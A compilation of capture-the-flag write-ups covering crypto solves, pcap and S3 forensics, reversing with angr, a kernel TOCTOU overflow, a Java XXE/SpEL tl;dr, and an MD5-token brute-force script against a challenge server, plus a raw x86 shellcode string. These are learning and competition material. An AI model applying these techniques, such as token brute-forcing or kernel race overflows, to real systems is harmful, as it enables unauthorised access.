The encryption data is (0x300 bytes): ```R x PK1R x PK2R x PK3 + PT```
All operations are under modular 0xFFFFFFFB
All we need to do is solve the equations R x PK1 and R x PK2 for R ( see code for more detail ) After we have R, subtract R x PK3 from R x PK3 + PT and get the flag
flag: `TWCTF{pa+h_t0_tomorr0w}`
# other write-ups and resources |
Backdoor was a packed, 64bit ELF binary. A 500 point reverse. When we run the binary it apparently acts exactly similar to mkfifo command line util. Running strace shows it actually executes mkfifo from /bin.
Solved using ghidra and dynamic analysis using IDA. |
tl;dr:1. Serialize class with the same name, package and serial version id with XXE xml payload to recover the key2. Craft SPEL payload to load the flag
Full writeup: https://github.com/p4-team/ctf/tree/master/2019-09-07-trendmicro-quals/exploit_300 |
No one else had solved this task when I started looking at it. So I was hoping for "first blood" for extra points :) However, one guy/girl managed to solve it right before I did. I am still happy with "second blood" though!
This is a forensics task and we have been given a PCAP file. In the task description it was mentioned that the person backed up the computer to the cloud.
Here is the summary of protocols used in the pcap file. Most of the traffic is TLS:
I first started looking at the PCAP file for dns traffic related to the cloud, and I quickly spot alot of requests to amazonaws.com and a specific s3 bucket: `hand-soap`
I can also see a lot of traffic from the local IP to the server hosting the bucket I just found.
Now I feel like just visiting the website to check if I have anonymous read access to the S3 bucket.
I can get a list of all the files in the bucket. The file names just look like numbers, except the last file in the bucket named `s3backer-mounted`.The first thing I try is to fire up the AWS CLI tool and download all of the files. Most of the files are empty, and some of the files look like EXT4 files systems. I also find a password protected zip file. Inside of the zip file is a file called `secret`.
Now I want to check what **s3backer** really is. I find the Github page for the tool at [https://github.com/archiecobbs/s3backer](https://github.com/archiecobbs/s3backer) :> **s3backer** is a filesystem that contains a single file backed by the Amazon Simple Storage Service (Amazon S3). As a filesystem, it is very simple: it provides a single normal file having a fixed size. Underneath, the file is divided up into blocks, and the content of each block is stored in a unique Amazon S3 object. In other words, what s3backer provides is really more like an S3-backed virtual hard disk device, rather than a filesystem.
It makes sense now that I know each S3 object is a block. That is why many of the files were empty, and they had the block numbers as file names. The `s3backer-mounted` file is there to tell s3backer that someone has already mounted the bucket.
Using s3backer, I try mounting the bucket in a folder:
```bash$ s3backer --readOnly hand-soap --region="eu-central-1" --force s3b.mnts3backer: auto-detecting block size and total file size...s3backer: auto-detected block size=128k and total size=1ts3backer: warning: filesystem appears already mounted but you said `--force' so I'll proceed anyway even though your data may get corrupted.```
According the s3backer wiki page, the next step is to mount `s3b.mnt/file` to a chosen folder.
```bash$ sudo mount -o ro,loop s3b.mnt/file files.mnt
$ find files.mnt -ls 2 4 drwxr-xr-x 3 root root 4096 mars 30 15:02 files.mnt 12 4 -rw-r--r-- 1 root root 255 sep. 5 10:21 files.mnt/docs.zip 11 16 drwx------ 2 root root 16384 mars 30 14:57 files.mnt/lost+foundfind: ‘files.mnt/lost+found’: Permission denied```
This looks like the same zip file I found earlier, but this time I actually know it's called `docs.zip`. I need to find the password for unzipping `secret`, but after looking through the PCAP file once more I can't find anything more that will help me. The next thing I try is using the bucket name as passwordfor the zipfile:
```bash$ unzip docs.zip Archive: docs.zip[docs.zip] secret password: hand-soap # Password shown for clarity inflating: secret
$ cat secretDCTF{307b336479aed7b642d63fe1a807606a103acf5b10b9ecacfaf85a04519bef54}```
Alright, I guess that worked! :D |
There is a TOCTOU bug in the kpets_write function.The kpets_write function is simply this in pseudocode:```size_t kpets_write (struct kpet *user_ptr, size_t length) {
#1 copy_from_user(&name_len, &user_ptr.name_len, 4); if (name_len > 0x20) { printk("name is too long!"); } ... copy_from_user(&name_len, &user_ptr.name_len, 4); #2 copy_from_user(&pets[idx].name, &user_ptr.name, name_len);}```
Because name_len can change from line 1 and line 2, it is insecure. Therefore we have a buffer overflow primitive in the pets[] buffer array. After some reversing I realized that if there is a pet type with 0xAA reading from the device gives us the flag.
However when creating a pet (via `kpets_write`) it checks if the type is 0xC2 and denies all other types. We create 2 pet objects, and overflow the one in the lower address and change the type field of the pet at the highest address. You can see how exactly it is done in exploit.c
It is a type of a TOCTOU (https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use)bug, which is quite common in the real world.
If the flag doesn't show after running the exploit, I tried `cat /dev/kpets` multiple times and it gave me the flag |
ASIS members conducted excellent crypto CTF.I will recommend everyone to solve it by themselves ,you will learn new concepts by solving them.[Link to the challenges](https://cryp.toc.tf/challenges)
Here are some of them I was able to solve it.
## roXen -:> description:
Relationship with a cryptographer!The Girlfriend: All you ever care about is crypto! I am sick of it! It's me or crypto!
The Cryptographer boyfriend: You meant to say it's you [XOR](roXen.py) cryptography.
The Girlfriend: I am leaving you.
22 solves
### Solution: The given script:
```python#!/usr/bin/env python
from Crypto.Util.number import *from secret import exp, flag, nbit
assert exp & (exp + 1) == 0
def adlit(x): l = len(bin(x)[2:]) return (2 ** l - 1) ^ x
def genadlit(nbit): while True: p = getPrime(nbit) q = adlit(p) + 31337 if isPrime(q): return p, q
p, q = genadlit(nbit)e, n = exp, p * q
c = pow(bytes_to_long(flag), e, n)
print 'n =', hex(n)print 'c =', hex(c)```Lets, start from the top:
So exp&(exp+1)==0 that just means exp must be a [Mersenne number](http://mathworld.wolfram.com/MersenneNumber.html). Then adlit(x) is returning the xor of passed number with the next biggest possible number with same length of bits which means basically that returned number contains reversed bits of passed number.
Then i realised that it's nothing difficult if you know the bits length you can just subtract the number from that max length bit number.>For eg. adlit(44) + 44 = 63, adlit(120) +120 =127.Simple isn't it
So we know n is 2048 bits long so p and q might be 1024 bits prime number.Let's check for it. `p+adlit(p)==2**1024-1`So we get two equations from here `p+q=2**1024+31336` and `p*q=n`. Two equations two vars->quadratic `p**2 -(2**1024 +31336)*p + n = 0`. Sympy will do the work.Using solve() for quadratic function we get: ```p = 91934396941118575436929554782758166784623142015203107928295225306949429527662253180027648166060067602233902389535868116051536080388999480377007211745229221564969130373120800620379012435790356909945473565305296926519232706950561924532325538399351352696805684504904629096892037592742285758390953849377910498739q = 87834916545113015336000964296144306577174555879027549345134855850783246277838709952680829156347468418886211490335525241607253688425417142115840218894244902812798763051744684655923207165455737209507609386779708842318917975391900956941587572141475884466544826179681669143055208345737430546444402480246313669813```That was long thinking much left to travel ::wink::
Then, bruting public exponent
```pythonwhile i : i+=1 e=2**i-1 if(gcd(e,h)==1): d=invert(e,h) if "CCTF" in (long_to_bytes(pow(c,d,n))): print (long_to_bytes(pow(c,d,n))) exit(0)```No result it went further around 100000 bits.I was quite sure that it should be less than 2048 as then it will be greater than n.Then I approached admin Factoreal for it. Then he told me what happen if gcd(e,phi) not equal to 1. So after tinkering around with my teammates I come to the point that's not possible LOL because we don't know but then I realised it that I can use CRT for it but it would become complicated maybe some simple approach will do then my teammate told me we can use precision for it. And we solved this after solving Clever girl question which boosted up our confidence for going with precision.
Note:We need to change the last char btw as precision was not too good enough for it.
So here was the final [script](script.py):
```pythonfrom Crypto.Util.number import *import gmpy2import pwn
gmpy2.get_context().precision=10000
def adlit(x): l = len(bin(x)[2:]) return (2 ** l - 1) ^ x
p = 91934396941118575436929554782758166784623142015203107928295225306949429527662253180027648166060067602233902389535868116051536080388999480377007211745229221564969130373120800620379012435790356909945473565305296926519232706950561924532325538399351352696805684504904629096892037592742285758390953849377910498739q = 87834916545113015336000964296144306577174555879027549345134855850783246277838709952680829156347468418886211490335525241607253688425417142115840218894244902812798763051744684655923207165455737209507609386779708842318917975391900956941587572141475884466544826179681669143055208345737430546444402480246313669813n = 0x3ff77ad8783e006b6a2c9857f2f13a9d896297558e7c986c491e30c1a920512a0bad9f07c5569cf998fc35a3071de9d8b0f5ada4f8767b828e35044abce5dcf88f80d1c0a0b682605cce776a184e1bcb8118790fff92dc519d24f998a9c04faf43c434bef6c0fa39a3db7452dc07ccfced9271799f37d91d56b5f21c51651d6a9a41ee5a8af17a2f945fac2b1a0ea98bc70ef0f3e37371c9c7b6f90d3d811212fc80e0abcd5bbefe0c6edb3ca6845ded90677ccd8ff4de2c747b37265fc1250ba9aa89b4fd2bdfb4b4b72a7ff5b5ee67e81fd25027b6cb49db610ec60a05016e125ce0848f2c32bff33eed415a6d227262b338b0d1f3803d83977341c0d3638fc = 0x2672cade2272f3024fd2d1984ea1b8e54809977e7a8c70a07e2560f39e6fcce0e292426e28df51492dec67d000d640f3e5b4c6c447845e70d1432a3c816a33da6a276b0baabd0111279c9f267a90333625425b1d73f1cdc254ded2ad54955914824fc99e65b3dea3e365cfb1dce6e025986b2485b6c13ca0ee73c2433cf0ca0265afe42cbf647b5c721a6e51514220bab8fcb9cff570a6922bceb12e9d61115357afe1705bda3c3f0b647ba37711c560b75841135198cc076d0a52c74f9802760c1f881887cc3e50b7e0ff36f0d9fa1bfc66dff717f032c066b555e315cb07e3df13774eaa70b18ea1bb3ea0fd1227d4bac84be2660552d3885c79815baef661
assert isPrime(p)assert isPrime(q)assert adlit(p) + 31337 == qassert p*q == n
h = (p-1)*(q-1)
for i in range(4096): e = 2**i - 1 f = gmpy2.gcd(e,h) try: d = gmpy2.invert(e//f,h) m = long_to_bytes(pow(gmpy2.mpz(pow(c,d,n)),1/f)) #print(pow(gmpy2.mpz(pow(c,d,n)),1/3)) if b"CCTF" in m: print("i = ", i) print(m) except: continue ``` >Flag:CCTF{it5_3a5y_l1k3_5uNd4y_MOrn1N9} ## Clever Girl -:> description:
There is no barrier to stop a [clever girl](clever_girl.py)!
33 solves
### Solution:
The given script:```python#!/usr/bin/env python
import gmpy2from fractions import Fractionfrom secret import p, q, s, X, Yfrom flag import flag
assert gmpy2.is_prime(p) * gmpy2.is_prime(q) > 0assert Fraction(p, p+1) + Fraction(q+1, q) == Fraction(2*s - X, s + Y)print 'Fraction(p, p+1) + Fraction(q+1, q) = Fraction(2*s - %s, s + %s)' % (X, Y)
n = p * qc = pow(int(flag.encode('hex'), 16), 0x20002, n)print 'n =', nprint 'c =', c```
So we were given n,c,x and y. This time there are three unknowns p,q and s. We now need to get three equations,first one is `p*q=n` and other two will get by equating numerator and denominator as they had lesser possiblity to have gcd() !=1 for which I did some maths for it. The next two are `n+q=s+y` and `2*n+p+q+1=2*s-x` . So my teammate get the values for it quickly.
`nonlinsolve([n+q - s - Y, 2*n+p+q+1-2*s+X, p*q-n], (p,q,s))`
And he was so amazed to tell me that we got p and q from it.
```(12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409, 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771, 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823138256432294313269203421659050140817247896562556361172161032623037006361409872307045649661542219054272855881029305328814299453639438693256941440232720246684)```
Then same thing what we did for roxen as here gcd(e,phi) is 2 So we used precision for it. For lower precision the result was like this:>b'CCTF{4L\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Then increasing it to 10000 we get the flag.
```python import gmpy2from Crypto.Util.number import *
gmpy2.get_context().precision=10000
p = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409q = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339c = 64166146958225113130966383399465462600516627646827654061505253681784027524205938322376396685421354659091159523153346321216052274404398431369574383580893610370389016662302880230566394277969479472339696624461863666891731292801506958051383432113998695237733732222591191217365300789670291769876292466495287189494assert p*q == n
h = (p-1)*(q-1)print(gmpy2.gcd(0x20002, h))d = gmpy2.invert(0x20002//2, h)print(long_to_bytes(gmpy2.sqrt(pow(c,d,n)))) ```
>Flag: CCTF{4Ll___G1rL5___Are__T4len73E__:P}
## Time Capsule -:> description:
You neither need 35 years nor even 20 years to [solve](time_capsule.py) this problem!
120 solves
### Solution:
The given script:```python#!/usr/bin/python
from Crypto.Util.number import *from secret import flag, n, t, z
def encrypt_time_capsule(msg, n, t, z): m = bytes_to_long(msg) l = pow(2, pow(2, t), n) c = l ^ z ^ m return (c, n, t, z)
print encrypt_time_capsule(flag, n, t, z)```
So we have four values c,n,t and z.This was most simple question, as we see z is unchanged. So I quickly xored the c with z then we have l^m for which we need to calcuate l only.
The value of l you can't calculate that fast.I wonder how they calculated it. Because pow(2,t) will be large enough as an exponent for 2. Then I think about fermat(literally), he concluded that pow(a,p-1,p)=1 if p is prime . But here it isn't The number n has 42 prime factors I get those factor from Elliptic Curve Method.
Then,I think why p-1 because its the euler totient of prime p. So, I can calculate totient of n in the same way easily.Here's the final [script](capsule.py)```pythonfrom Crypto.Util.number import *
c=30263951492003430418944035844723976843761515320480688994488846431636782360488888188067655841720110193942081554547272176290791213962513701884837856823209432209367951673301622535940395295826053396595886942990258678430777333636450042181585837395671842878310404080487115827773100028876775230121509570227303374672524063165714509957850966189605469484201028704363052317830254920108664916139026741331552127849056897534960886647382429202269846392809641322613341548025760209280611758326300214885296175538901366986310471066687700879304860668964595202268317011117634615297226602309205086105573924029744405559823548638486054634428n=16801166465109052984956796702219479136700692152603640001472470493600002617002298302681832215942994746974878002533318970006820414971818787350153626339308150944829424332670924459749331062287393811934457789103209090873472485865328414154574392274611574654819495894137917800304580119452390318440601827273834522783696472257727329819952363099498446006266115011271978143149347765073211516486037823196033938908784720042927986421555211961923200006343296692217770693318701970436618066568854673260978968978974409802211538011638213976732286150311971354861300195440286582255769421094876667270445809991401456443444265323573485901383t=6039738711082505929z=13991757597132156574040593242062545731003627107933800388678432418251474177745394167528325524552592875014173967690166427876430087295180152485599151947856471802414472083299904768768434074446565880773029215057131908495627123103779932128807797869164409662146821626628200600678966223382354752280901657213357146668056525234446747959642220954294230018094612469738051942026463767172625588865125393400027831917763819584423585903587577154729283694206436985549513217882666427997109549686825235958909428605247221998366006018410026392446064720747424287400728961283471932279824049509228058334419865822774654587977497006575152095818
factors=(15013,583343756982313,585503197547927,609245815680559,612567235432583,634947980859229,635224892351513,639438000563939,654170414254271,654269804672441,667954470985657,706144068530309,721443717105973,737993471695639,744872496387077,746232585529679,795581973851653,815694637597057,817224718609627,841183196554507,864339847436159,873021823131881,884236929660113,899583643974479,922745965897867,942872831732189,951697329369323,971274523714349,1017566110290559,1018452110902339,1025985735184171,1027313536626551,1059774237802229,1067609726096989,1070689247726159,1079289330417443,1098516592571807,1107673252158281,1108654254305327,1110918654474373,1111516996694389,1112193819715441)tot=1for prime in factors: tot*=prime-1l=pow(2,pow(2,t,tot),n)print(long_to_bytes(l^c^z))```Voila,Flag:`CCTF{_______________________________________________Happy_Birthday_LCS______________________________________________}`A nice flag |
# Drive to the target - GoogleCTF Beginner's Quest# Geographical gradient descent
The site gives us inputs for latitude and longitude and we need to move to the target modifying these two variables. When submiting new coordinates, the server responds with one of four responses:- You are getting closer to the target.- You are getting away from the target.- You are moving too fast.- You are trying to move too far.Before trying anything clever, I wrote a script that implements a crappy version of gradient descent. It takes small steps towards a direction, and randomly changes that direction if the server says we are getting away from the target:```python# sol.pyimport requests as reqimport reimport timeimport random
url = 'https://drivetothetarget.web.ctfcompetition.com/'x = req.get(url)la, lo = 1, 0 # Which coordinates should we follow?while True: par = re.findall('value="(.*?)"',x.text) params = {} params['token']=par[2] params['lat']=float(par[0])-la*0.00004 params['lon']=float(par[1])-lo*0.00004
x = req.get(url,params=params)
give_me_flag = re.findall(r'CTF{.*?}',x.text) if give_me_flag: # Is the flag in the response? print(give_me_flag[0]) break
if 'You are getting away' in x.text: # If we are moving away... while True: # Change the direction to a random (non-zero) one. la, lo = random.choice([-1,0,1]), random.choice([-1,0,1]) if la*lo != 0: break time.sleep(0.2) # Sleep to avoid going too fast.```This script takes very small steps (too avoid the `This is too fast!` message). We're starting somewhere in the UK, so if the target is, e.g., in Hawaii, it will never finish. But anyway, it's worth a shot so I let it run in the background.
I then tried to understand how the backend works. The server keeps track of the time of our requests to compute the speed. If I move 100 meters 0.1 seconds after my previous request, the server will compute my speed as 3600km/h and say I'm going too fast. The server knows my time and coordinates using a token in the url. Here is a typical url:```https://drivetothetarget.web.ctfcompetition.com/?lat=51.6498&lon=0.0981&token=gAAAAABdEm9YSRgh-i8a2qngIptlBaIOO0BGjs_CVT9ko7THOYM6FZICmBQvSJXbl0F_iVLqjCQb21DaVcqeWoclwadmk96IZ7Nov1UJtiLaZGEz38ACRCCPCrf4x7Fg714ZWETvfIGT```When base64 decoding this token, we get the following hex string:```80000000005d126f58491821fa2f1adaa9e0229b6505a20e3b40468ecfc2553f64a3b4c739833a15920298142f4895db97417f8952ea8c241bdb50da55ca9e5a8725c1a76693de8867b368bf5509b622da646133dfc00244208f0ab7f8c7b160ef5e195844ef7c8193```This is a mess and it appears to change randomly at each request. The only part that is stable is the first 9 bytes, in this case `80000000005d126f58`. And surprise, `0x5d126f58=1561489240` is the epoch time of the request. So that is how the server keeps track of the time.
I thought I had the solution right there: Just manually change the time of the request to, say, 1 hour later, and the server will think that I've made my 100 meters at 0.1km/h instead of 3600km/h. But that failed miserably, the server refuses my token and ouptuts an error... Apparently, the time also has an influence on the rest of the token. I'm thinking about a hash or HMAC for example, maybe linked with the coordinates. So I tried to research that and understand that mysterious token.
But that's right about when my initial crappy script terminated... with the flag! It took around 90 minutes but to my surpise, it worked. The target seems to be in the center of London.
There is probably a smarter way to solve this challenge, but my crappy 30 lines script did it, so... oh well.```bash$ time python sol.pyCTF{Who_is_Tardis_Ormandy}
real 89m23.916suser 10m34.976ssys 0m25.452s```
## NoteAfter googling `Tardis Ormandy` (which is a part of the flag), it seems that `TARDIS` is a time machine in the TV show Dr. Who. This gives an hint that the 'true' solution indeed involves hacking the time in the token. I'll try to keep researching that direction. |
```python#!/usr/bin/env python2# By BestPig
import angrimport claripy
FLAG_LENGHT = 39p = angr.Project('./patched_crack_me', load_options={'auto_load_libs': False})
flag_val = claripy.BVS('flag', FLAG_LENGHT * 8)flag = flag_val.chop(8)
state = p.factory.entry_state(args=["easy_crack_me", flag_val])
# Constraint for check at 0x4007eefor i, c in enumerate('TWCTF{'): state.add_constraints(flag[i] == c)state.add_constraints(flag[-1] == '}')
# Constraint for check at 0x400d90state.add_constraints(flag[37] == '5')state.add_constraints(flag[7] == 'f')state.add_constraints(flag[11] == '8')state.add_constraints(flag[12] == '7')state.add_constraints(flag[23] == '2')state.add_constraints(flag[31] == '4')
# Just a cheat, for use with claripy.If# I just want to increase a counter, but# claripy doesn't let me to put integer# So just declare two value and force them to 1 and 0# What I want -> cnt += claripy.If(flag[i] == ord(c), 1, 0)
t = claripy.BVS('t', 8)state.add_constraints(t == 1)
f = claripy.BVS('f', 8)state.add_constraints(f == 0)
# Check at 0x400891# I nope this check on the binary# At first, I nop them because I doesn't understood what# the code was doing, and angr was to long to found something# that match it, so I nope them and keep implements other# It was not working, but now, I implements it, and it still# to long with original binary, but the correct flag was found# by angr with the nopped version# I nop everything between 0x400891 and 0x400948check_occurrence = [3,2,2,0,3,2,1,3,3,1,1,3,1,2,2,3]for index, c in enumerate("0123456789abcdef"): cnt = 0 for i in range(FLAG_LENGHT): cnt += claripy.If(flag[i] == ord(c), t, f) state.add_constraints(cnt == check_occurrence[index])
# Check at 0x400d09vals = [ 128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255]
for i, v in enumerate(vals): if v == 128: state.add_constraints(flag[i + 6] > 96) state.add_constraints(flag[i + 6] <= 102) else: state.add_constraints(flag[i + 6] > 47) state.add_constraints(flag[i + 6] <= 57)
sm = p.factory.simulation_manager(state)good = 0x400E24sm.explore(find=good, avoid=[ 0x4007C6, 0x40080E, 0x400BDE, 0x400C2C, 0x400D17, 0x400D81])
s = sm.found[0]solution = sm.found[0].solver.eval(flag_val, cast_to=bytes)print("Flag: %s" % solution)``` |
# RE 100
We've started with single x86 Windows binary `GuessWhat.exe`. In disassembly we've found few initial condtions that must have been passed to fully execute the code:
- Binary must be executed with at least one argument "TM"- Can't be launched under debugger because of few PEB-based anti-debugger checks leading to #DE exception (divide-by-zero).
We patched off all found check-ups and executed binary under debugger.
```Ok, now you're in :)
V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=?????
Do you have something for me?```
Base64-encoded string evaluates to `What do you know about ciphers?`. The correct answer passed to `strcmp` call was `rc4`.
```A7A91F1EA45AE0BE03735A09577DA594230BDE854B
Now you have the encrypted string you probably need a key, right?
Take a closer look at the string functions.```
The key was evaluated by `sub_4011E0` subroutine, which transforms `9g>csumcsu` constant to `0x7fffffff` string.
```pythonfrom malduck import rc4, unhexrc4(b"0x7fffffff", unhex("A7A91F1EA45AE0BE03735A09577DA594230BDE854B")) b'&N0wu4rEgeTTinGth3re!'```
`GuessWhat.exe` contains encrypted ZIP file placed as `ZIP` resource inside the binary. Key found inside the binary was password needed to extract `img.jpg` file.
So we've got a shell ¯\\_(ツ)_/¯. After steganalysis and trying various tools popular in this kind of tasks, we've found that message was hidden using Steghide with blank password.
```$ steghide info img.jpg"img.jpg": format: jpeg capacity: 1.6 KBTry to get information about embedded data ? (y/n) yEnter passphrase: embedded file "shell.txt": size: 1.2 KB encrypted: rijndael-128, cbc compressed: yes```
`shell.txt` contains simple x86 shellcode which loads `user32.dll!MessageBoxA` and... shows a message.
```"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89""\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c""\x24\x52\xe8\x5f\xff\xff\xff\x68\x20\x69\x74\x58\x68\x20\x67""\x65\x74\x68\x6d\x6f\x73\x74\x68\x65\x20\x61\x6c\x68\x75\x20""\x61\x72\x68\x65\x20\x79\x6f\x68\x20\x44\x6f\x6e\x68\x57\x65""\x6c\x6c\x31\xdb\x88\x5c\x24\x1f\x89\xe3\x68\x58\x20\x20\x20""\x68\x46\x42\x5a\x7d\x68\x51\x4a\x5f\x41\x68\x5a\x7b\x41\x41""\x68\x4e\x47\x57\x4e\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2""\x6a\x30\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";```
`NGWNZ{AAQJ_AFBZ}` is ROT-6 encrypted flag: `TMCTF{GGWP_GLHF}`. |
# Epic Poem Writeup
### Affinity 2019 - crypto 500 - 25 solves
> Alicja sent text for her friend translator Bob. Because Alicja likes privacy, she encrypted text with key. Bob translate the text and sent back to her also in encrypted form. Can you find the key?
#### Guessing and getting the flag
Since the challenge asked to find the key, I first use the flag format. The flag starts with `AFFCTF{`. I guessed that the cryptosystem is just a simple xor cipher.
By xoring `AFFCTF{` with [enc2](enc2), I get some readable plaintext: `Litwo! `. I searched the plaintext in google, and guessed the further plaintext assuming the plaintext is from [here](https://pl.wikisource.org/wiki/Litwo,_Ojczyzno_moja!). Xor it back with [enc2](enc2) to get the key.
I get the flag:
```AFFCTF{M4nY_t1m3_PaD_1$_b@d__!!!}```
exploit driver code: [solve.py](solve.py)
Original problem: [enc1](enc1), [enc2](enc2) |
# Download me..
**Download me was a simple web challange.**
**We are presented with the file listing. One of the files is a flag.**
**It is also the only file we can't download as it is missing the token.**
**Tokens resemble some hashes so I upload them to the Crackstation for the verification. We get the confirmation for MD5 slong with the cracked values.**
**It turns out that the numbers corespond to the file sizes of the files. I proceed to writing a solver.**
## Solver
```#!/usr/bin/python3import requestsimport hashlib
def main(): for i in range(1000): payload = hashlib.md5(str(i).encode()).hexdigest() r = requests.get(f'http://165.22.22.11:25632/download.php?file=flag.txt&token={payload}') if 'AFFCTF' in r.content.decode('utf-8'): print(r.content)
if __name__ == '__main__': main()
```
## Output
```AFFCTF{Pr3dic71bl3_t0k3n5_4r3_b4d}``` |
MIDI2 was a rather difficult Misc challange, as it was the one with the most points of its category.
A .pcap.gz file was given.Unpacking it with###### Command:```gunzip midi.pcap.gz```gives the .pcap file.
Opening it with wireshark quickly reveals some interesting packets:
here we can see a request for the "/keyfile" and the response to it. Looking at the response:
we can see s string containing the keyword "CLIENT_RANDOM". This is a hint for us to decrypt the TLS1.2 traffic at the beginning of the pcap.Looking at the Wireshark documentation we see that we have extracted the CLIENT_RANDOM and the hex-encoded clear text master secret:
###### Documentation:```"CLIENT_RANDOM xxxx yyyy"Where xxxx is the client_random from the ClientHello (hex-encoded)Where yyyy is the cleartext master secret (hex-encoded)(This format allows non-RSA SSL connections to be decrypted, i.e. ECDHE-RSA.)```
This is enough information to decrypt the traffic. This is done by going into the Wireshark TLS settings, creating a file with the string we found and linking it there.This reveals some HTTP2 packets:
The DATA[1] packet looks interesting so we extract its data into a file and look at it with the "file" command tool to reveal its filetype:###### Command:```file http2_data```
###### Output:```midifile.midi: Standard MIDI data (format 1) using 1 track at 1/220```
Now we know why this challange is called MIDI2. So now we got a MIDI file. Looking at it with Audacity reveals an interesting pattern:
After some investigation it turns out the notes on the top are irrelevant and the ones at the bottom resemble binary numbers:
and if we look up the ASCII table we can translate those numbers into letters and if we do this for the whole file we get the flag:
###### Flag:```AFFCTF{3s0t3r1c_l4ngs_4r3_Fun}```
###### OriginalGithub: [MIDI2](https://github.com/PhilippSchweinzer/CTFs/blob/master/Affinity%20CTF%202019%20-%20Quals/MIDI2.md)
|
# GolanG_Heights Writeup
### Affinity 2019 - crypto 350 - 29 solves
> Note: put flag into AFFCTF{} format
#### Observations and getting the flag
After observing the given [go script](golang_heights.go), I immediately realize the algorithm for generating `pub`. The flag is encrypted by [rabin cryptosytem](https://en.wikipedia.org/wiki/Rabin_cryptosystem), so factoring the public key `pub` leads to decryption of the [flag](flag.txt).
The algorithm of generating public key `pub` is ported as the following python code.
```pythonp = 4 * B ** 2 + 3 * B + 7351q = 19 * B ** 2 + 18 * B + 1379pub = p * q```
Ask sage to solve the equation to find integer `B`.
```sageout = solve([p * q == Integer(pubkey)], B)B = int(out[3].rhs())p = int(p.subs(B=B))q = int(q.subs(B=B))```
Integer `B` is recovered, and we get the value of `p` and `q`, which is the factor of `pub`. Decrypt flag by applying modular sqrt algorithm and chinese remainder theorem. I get the flag.
```AFFCTF{##just!c3_just!c3_y0u_sh@ll_pursu3_##_d3m@nd__p3@c3__@nd__pursu3__!t##}```
exploit driver code: [solve.sage](solve.sage)
constants: [config.py](config,py)
Original problem: [golang_heights.go](golang_heights.go), [flag.txt](flag.txt)
Modular sqrt algorithm: [modular_sqrt.py](modular_sqrt.py) |
# Affinity CTF 2019 - F-word
* **Category:** Misc* **Points:** 200
## Challenge
### Description```^^^^!^^^^-A?--&-----&&^^^&^!^^^-A?^&!^^^^^-A?--&^^!^^-----A?&-!^^^^^-A?^^&^!^^^^^-A?&^!^^^-A?^^&!^^^-A?---&-!^---A?&^!^------A?&---!^--A?&--!^-----A?&^^!^^^--A?&^^^^^^^^^^^^&^^^&^!^^^-A?^^^&-------------&-!^^^--A?--&^^^!^^^^^-A?^&---!^---A?--&--------&-----&^!^---A?^&^!^^^--A?^&^!^^^^^--A?^&^!--^^^A?^&!^^^^^-A?--&^^^^^^^^^^^^^^&^^^^^&-!^---A?-&&&^^!^^---A?*&```
## Solution
When I looked at this, immediately I thought of the esoteric programming language [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck).I knew that this had to be encoded somehow, so I began to substitute specific characters for characters in BrainFuck.
I figured this out by going to this [bf_encoder](https://copy.sh/brainfuck/text.html) and typing the beginning of the flag AFFCTF{
The output given was:
```----[---->+<]>++.+++++..---.>-[--->+<]>-.[----->+<]>++.>--[-->+++++<]>.```
This matched:
```^^^^!^^^^-A?--&-----&&^^^&^!^^^-A?^&!^^^^^-A?--&^^!^^-----A?&```
Using substitution, I learned what each character corresponded to:
```^ = -! = [- = +? = ]>A = <& = .```NOTE: The * at the end notifies that it is the end of the flag.
Decoding the little portion above resulted in:
```----[----+<]>++.+++++..---.-[---+<]>-.[-----+<]>++.--[--+++++<]>.```
Notice that the ouput does not match exactly, but that is because I did not know the syntax of Brainfuck. Every time there is a switch going from `+` to `-` or `-` to `+`, there must be a `>` in between. Also, another case was putting a `>` after `.` sometimes before `[`.I never did understand why the second case was needed, but trial and error proved to be a success.
So using the [bf_encoder](https://copy.sh/brainfuck/text.html) and [bf_emulator](https://copy.sh/brainfuck/) to run the code, I was able to come up with this decoded text after some trial and error.
